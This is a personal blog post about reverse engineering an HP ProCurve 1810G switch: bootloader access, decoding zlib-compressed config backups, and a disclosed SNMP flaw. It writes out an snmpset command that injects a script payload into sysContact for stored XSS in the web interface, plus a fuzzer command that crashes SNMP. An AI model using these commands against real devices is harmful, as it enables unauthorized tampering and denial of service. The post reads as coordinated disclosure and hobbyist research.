Did you know that you can navigate the posts by swiping left and right?

Second trip to embedded system

19 Mar 2010 . category: Hacking .
#hacking #reverseengineering #HP1810G

HP ProCurve 1810G Take 2

If you’re interested in what is under the “hood” of a HP ProCurve 1810G you should check out my first blog entry also ( here. )

After my last blog I have figured out a couple of new things. One thing is that you can access to boot loader by pressing ctrl + c while the switch is booting. More about it later in a section dedicated to this subject.

Another happy hacking experience was SNMP as I already guessed it in my last post. Anyhow this has been a great learning experience to get closer with hardware and embedded device, since I have not had this kind of knowledge before.

Fun with boot loader

After some time I noticed that I have totally forgotten to try to interrupt the boot process from console. I restarted the switch and started to hit ctrl + c and noticed soon that I see on command line:

CFE>

Cfe (Common Firmware Environment) is a switch bootloader and has many debug features also. Help output

Some information found from bootloader:

CFE> show devices
Device Name          Description
-------------------  ---------------------------------------------------------
uart0                       NS16550 UART at 0x18000300
uart1                       NS16550 UART at 0x18000400
flash0.boot              New CFI flash at 1C000000 offset 00000000 size 400KB
flash0.env               New CFI flash at 1C000000 offset 00064000 size 32KB
flash0.nvram           New CFI flash at 1C000000 offset 0006C000 size 32KB
flash0.dim               New CFI flash at 1C000000 offset 00074000 size 32KB
flash0.freespace     New CFI flash at 1C000000 offset 0007C000 size 16KB
flash0.os                 New CFI flash at 1C000000 offset 00080000 size 1664KB
flash0.os1               New CFI flash at 1C000000 offset 00220000 size 1664KB
flash0.config           New CFI flash at 1C000000 offset 003C0000 size 256KB
flash1                     New CFI flash at 1C000000 size 8192KB
flash2.boot             New CFI flash at 1FC00000 offset 00000000 size 400KB
sflash0                   Serial flash at 1FC00000 size 64KB
eth0                        BCM562XX StrataXGS Switch (mod 00) at 0xA8000000

CFE> nvram show
  STARTUP=boot -z -elf flash0.os1:
  et0macaddr=reboot
  image1_size=1689146
  sdram_config=0x0000
  sdram_refresh=0x0000
  clear_config=0
  SP_Cfe_Version=P.1.4
  sdram_init=0x000A
  serial=0000000000
  image2_size=1681886
  serial_number=12345
  sdram_ncdl=0x00000000

Backround information about switch

I’ve done some research about background information about the device and used software, hoping to find some kind of a new lead or a perspective to have more fun with this device. So far I have learned that this switch is probably from Broadcom with HP labels on it. Motherboard and ethernet chips are from Broadcom. Software inside the box is at least partly Open Source material, but for e.g CFE is distributed by Broadcom. eCos porting is probably originally done by a company called LVL7 (lots of leads to this e.g in elf dump). Broadcom bought LVL7 in the year 2007. I’ve tried to find LVL7 manuals from the internet but without any luck. Keywords were LVL7, FastPath, Smartpath.

Config File

It is possible to back up switch configuration from WEB-management. This puzzle has been in my “to-do-list” for a long time and finally it started to open up (thanks to my pals who helped me a lot with this one). Since config.bin seems to be just binary, it was a little bit tricky to dig up more information. Linux ‘file’ command did not give any hint and config.bin-file did not have any helping headers. So the only lead was this:

$ strings config.bin 
fastpath.cfg
DsimCfgData.cfg
Ts1v
<$user_mgr.cfg
pns?
lxuiCfgData.cfg
...

and so on.

After discussing with a couple of my friends we started to figure out that the ‘config.bin’ is probably just a raw dump from flash. But how to get configs out from binary? We started speculating that config files are probably compressed in flash. Mika also founded some lead by comparing ‘configDum’ output and ‘config.bin’ with a hex dump (I can’t remember what was the connection). Mika started to try uncompressing the binary file by “bruteforcing” it manually (guessing correct byte range) and managed to run uncompress without zlib error. After that ‘config.bin’ was a pretty flat config so I made a more complicated configuration to the switch and started getting backup config files out from the switch. After that there was more binary garbage to analyze.

With hexdump from binary file I noticed that after every file-name string and null bytes there is ‘78 9c’ before other binary data. Quick googling and I had another link to zlib. Mika made simple bruteforce style uncompress script with Python. And it worked. Unfortunately extracted files are still in binary format, but at least now you can see interesting strings with string.

All in all, config.bin:

Most probably raw dump from flash
config files in flash are compressed with zlib
You can uncompress and extract config files with Mika’s simple python script ( decode.py )
Config files are still in binary format
strings output from extracted files: ( strings-extracted-configs.txt )
Example config from my setup: ( config.bin )

Vulnerability in HP ProCurve 1810G SNMP

Every manual talked that the switch has a read-only SNMP available and it has. I started to play around with ‘snmpwalk’ and other SNMP -commandline tools in Linux and surprise, surprise I noticed that I can also write with the same community string. There is no way to disable SNMP or change the community string (after the update there is). Information like sysName.0 can be changed from SNMP and that same information is showed in WEB-management so you can write some evil code to there.

E.g. annoying popup with evil code

Basic info:

$ snmpwalk -v2c -c public 10.0.50.4 systemSNMPv2-MIB::sysDescr.0 = STRING:  HP ProCurve 1810G - 8 GE, P.1.14, eCos-2.0
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.11.2.3.7.11.103
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (18841400) 2 days, 4:20:14.00
SNMPv2-MIB::sysContact.0 = STRING: me@myaddress.com
SNMPv2-MIB::sysName.0 = STRING: PROCURVE J9449A 
SNMPv2-MIB::sysLocation.0 = STRING: ristikytkenta

Changing sys.contact to evil code:

$ snmpset -v2c -c public 10.0.50.4 sysContact.0 s '"><script>alert("running evil code")</script>'
SNMPv2-MIB::sysContact.0 = STRING: "><script>alert("running evil code")</script>

After that, every time when I log in to web-management that small script with “evil code” will be executed.

Funny part is that there is actually one way to disable SNMP-service. Go and get OUSPG Protos SNMP test toll and shoot that against switch. (PROTOS_Test-Suite_c06-snmpv1)

Example of disabling SNMP from HP 1810G (v1.14):

$ java -jar c06-snmpv1-req-app-r1.jar -single 8334 -zerocase 192.168.2.10

Be careful because the next test case will crash a little bit more and access to management is gone.

This is probably a basic buffer overflow vulnerability which should be exploitable (out of my skill-range at the moment).

I have reported this problem to CERT-FI and HP fixed this problem at 2010-03-22. Go and fetch new firmware which is 1.16 or above. Thanks to CERT-FI and HP for quick actions!

Possible leads to have even more fun with this device

There is still a couple of options to get more information out of the box.

Boot loader (CFE) have many fancy options to try e.g custom build OS’s on it.
Running elf-image on virtual machine. I have quickly tried: vmips, yams and dynamips with no luck. Might be environment problem.
Hexedit to config.bin :)
Exploit buffer overflow in SNMP
Test buffer overflows against WEB-server

Contribute!

If you figure out something or some detail is wrong, don’t hesitate to contact me. I would love to hack this thing little bit more.

e-mail: mikko.kenttala(ä)gmail.com

IRC: turmio@IRCnet

Feel free to contact me for more info or just to give feedback. e-mail: mikko.kenttala(ä)gmail.com IRC: turmio@IRCnet